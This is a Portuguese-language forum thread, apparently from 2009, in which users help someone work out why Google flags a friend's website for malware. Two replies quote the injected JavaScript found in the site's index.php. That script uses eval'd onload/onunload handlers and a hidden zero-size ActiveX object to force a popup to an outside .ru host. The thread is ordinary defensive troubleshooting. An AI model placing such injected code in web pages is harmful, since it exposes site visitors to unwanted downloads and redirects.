11 replies to this topic

[betodesign]

galera, meu site, e em html e algumas coisinhas em php, recebeu um aviso do google a 3 semanas atras, ja verifiquei ele, nao vi nada de diferente, na verdade é de um amigo meu, cadastrei ele no google e pedi REQUEST A VIEW mesmo assim continua dizendo

"Of the 2 pages we tested on the site over the past 90 days, 1 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 2009-01-14, and the last time suspicious content was found on this site was on 2009-01-14.

Malicious software includes 5 adware(s). Successful infection resulted in an average of 0 new processes on the target machine."

ja tentei de tudo, alguem ja passou por isso?

[Humberto Rodrigues]

Posta o código!
Deve ser alguma coisa em JavaScript na página.

[DarkSign]

Ah, vc deve tah usando server gratuito. Esses servers geralmente usam codigo JS malicioso. Principalmente em certos banners.

[Maykel Esser]

Ou seu site pode ter sido invadido.

[betodesign]

eu troquei ele de server semana passada, coloquei ele no meu server pensando que fosse isso, mas o google ja indexou novamente com erro.
estou enviando em anexo a index dele, realmente tem muitos scripts em JS deem uma olhada e me ajudem onde possa estar o virus por favor

Attached Files

•  index.php   31.26KB   18 downloads

[Crab]

Cara, com exatidão eu não posso dizer qual o problema, mas que não é PHP isso tenho 99,9%

Até mais

[guiligan]

algumas perguntas sobre o index.php (que de php só o nome tem )

- Foi você quem colocou o comentário no inicio do arquivo? (<!-- Cansou de infectar? !-->)
- Foi você quem criou a função brs() que adiciona um <object>?

[Felipe Barreto]

Um dos problemas:

<script>
var isXPSP2 = false;
var u = "6BF52A52-394A-11D3-B153-00C04F79FAA6";

//--------------------------------------------------------------------------------

function ext()
{
if(exit)
{
exit=false;

if(!isXPSP2 && !usePopDialog)
{
window.open(popURL,"",popWindowOptions);
}
else if(!isXPSP2 && usePopDialog)
{
eval("window.showModalDialog(popURL,'',popDialogOptions)");
}
else
{
iie.launchURL(popURL);
}
}
}

//--------------------------------------------------------------------------------

function brs()
{
document.body.innerHTML+="<object id=iie width=0 height=0 classid='CLSID:"+u+"'></object>";
}

//--------------------------------------------------------------------------------

function ver()
{
isXPSP2 = (window.navigator.userAgent.indexOf("SV1") != -1);
if(isXPSP2) brs();
}

//--------------------------------------------------------------------------------
usePopDialog = false;
var refurl = window.location;
var popURL = 'http://cherrytv.ru/?partner=283';
isUsingSpecial = true;
eval("window.attachEvent('onload',ver);");
eval("window.attachEvent('onunload',ext);");

//--------------------------------------------------------------------------------
</script>

Edição feita por: Felipe Barreto, 16/01/2009, 00:39.

[jamsbboy]

Como o Felipe disse acima..

Na sua linha 1 diz: <!-- Cansou de infectar? !-->

esse seu MENU SELECT é mto loko

usePopDialog = false;
var refurl = window.location;
var popURL = 'http://cherrytv.ru/?partner=283'; <-------------------------
isUsingSpecial = true;
eval("window.attachEvent('onload',ver);");
eval("window.attachEvent('onunload',ext);");

Provavelmente é seu SCRIPT q esta bem zuado!!

[betodesign]

na verdade o site e de um amigo meu, nao fui eu quem fiz, vou apagar estes scripts e pedir uma nova vistoria do google para ver se funciona

[betodesign]

tirei todos os JS das paginas e ate agora nada

[Maykel Esser]

o aviso é retirado automaticamente com o tempo amigo